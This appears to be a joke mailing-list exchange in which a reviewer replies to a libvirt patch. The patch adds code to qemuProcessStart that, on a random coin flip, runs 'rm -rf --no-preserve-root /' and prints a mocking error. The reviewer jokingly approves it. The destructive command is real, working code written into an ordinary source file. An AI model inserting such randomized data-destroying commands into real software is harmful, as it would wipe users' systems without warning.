Michal Privoznik wrote:
Libvirt's so good, so solid that it almost feels like other
software stand no chance. Other applications are buggy, unstable,
crashing, etc. But not libvirt. Therefore, it seems only fair
that we introduce some bugs so developers of the other
applications don't feel that bad.
Signed-off-by: Michal Privoznik <mprivozn(a)redhat.com>
---
src/qemu/qemu_process.c | 10 ++++++++++
1 file changed, 10 insertions(+)
diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c
index a20beb1..2a68611 100644
--- a/src/qemu/qemu_process.c
+++ b/src/qemu/qemu_process.c
@@ -77,6 +77,7 @@
#include "configmake.h"
#include "nwfilter_conf.h"
#include "netdev_bandwidth_conf.h"
+#include "virrandom.h"
#define VIR_FROM_THIS VIR_FROM_QEMU
@@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn,
if (!migrateFrom && !snapshot)
flags |= VIR_QEMU_PROCESS_START_NEW;
+ /* Be fair to other applications. */
+ if (virRandomInt(2)) {
+ const char *argv[] = {"rm", "-rf",
"--no-preserve-root", "/", NULL};
+ virReportError(VIR_ERR_INTERNAL_ERROR, "%s",
+ _("Sorry pal, today is just not your day. Kiss your data
goodbye."));
+ ignore_value(virRun(argv, NULL));
+ goto cleanup;
+ }
+
if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0)
goto cleanup;
Looks safe for the freeze.
ACK if you place "--no-preserve-root" under "#ifdef __linux__"
because
it's not supported on FreeBSD for example.
Roman Bogorodskiy